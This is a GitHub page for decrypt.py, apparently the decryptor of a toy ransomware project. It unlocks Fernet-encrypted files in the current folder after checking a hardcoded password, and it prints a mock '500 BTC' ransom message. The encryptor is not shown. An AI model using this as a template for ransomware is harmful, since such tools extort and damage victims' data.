-
Notifications
You must be signed in to change notification settings - Fork 1
/
decrypt.py
32 lines (26 loc) · 900 Bytes
/
decrypt.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
import os
from cryptography.fernet import Fernet
files = []
if ("key.key" not in os.listdir()):
print("your files are not encrypted, yet.")
exit()
for file in os.listdir():
if file == "encrypt.py" or file == "decrypt.py" or file == "key.key":
continue
if os.path.isfile(file):
files.append(file)
with open("key.key", "rb") as theKey:
key = theKey.read()
secret = input("enter secret key to decrypt: ")
if secret != "verysecurepassword":
print("incorrect. ransom increased to 500 BTC. exiting..")
exit()
else:
for file in files:
with open(file, "rb") as theFile:
contents = theFile.read()
contents_decrypted = Fernet(key).decrypt(contents)
with open(file, "wb") as theFile:
theFile.write(contents_decrypted)
os.remove("key.key")
print("congratulations, your files have been decrypted.")